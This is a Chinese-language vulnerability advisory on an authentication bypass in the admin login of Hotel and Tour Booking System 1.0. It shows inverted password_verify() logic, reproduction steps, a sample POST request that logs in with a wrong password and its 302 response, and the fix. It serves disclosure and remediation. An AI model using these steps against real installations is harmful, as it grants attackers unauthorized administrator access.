| 字段 | 详情 |
|---|---|
| 标题 | 酒店与旅游预订系统 - 身份验证绕过 |
| 供应商 | code-projects.org |
| 产品 | 酒店与旅游预订系统 |
| 版本 | 1.0 |
| 漏洞类型 | 不当身份验证 |
| CWE | CWE-287 |
| CVSS 分数 | 9.0(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响文件 | /admin/login.php |
| 是否需要身份验证 | 否 |
| 是否可远程利用 | 是 |
酒店与旅游预订系统 1.0 的管理员登录功能中存在一个严重的身份验证绕过漏洞。该漏洞是由对 password_verify() 返回值的条件判断颠倒所致,导致应用程序在提供错误密码时授予访问权限,而在提供正确密码时拒绝访问。未经身份验证的远程攻击者只需提供有效的电子邮件地址和任意错误的密码,即可获得完全的管理员访问权限。
文件: admin/login.php — 第 39–46 行
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() 在所提供的密码与哈希匹配时返回 true。开发人员将成功逻辑放在了 else 分支中(该分支在函数返回 false 时执行),这意味着任何错误密码都会被授予认证权限。
远程未认证攻击者可以:
环境搭建: 在 XAMPP 上安装酒店与旅游预订系统 1.0。通过 http://localhost/ht/ 访问该应用。
第 1 步: 导航到管理员登录页面。
http:///ht/admin/login.php
第 2 步: 输入有效的管理员电子邮件和任意错误密码。
电子邮件: [email protected] 密码: wrongpassword
第 3 步: 点击登录。
结果: 应用程序绕过身份验证并重定向到管理员仪表板(index.php)——使用错误密码即可获得完全的管理员访问权限。
请求:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
响应:
HTTP/1.1 302 Found
Location: index.php
返回 302 重定向到 index.php,确认使用错误密码成功通过身份验证。
交换条件分支,使 password_verify() 返回 true 时授予登录权限:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — 独立安全研究员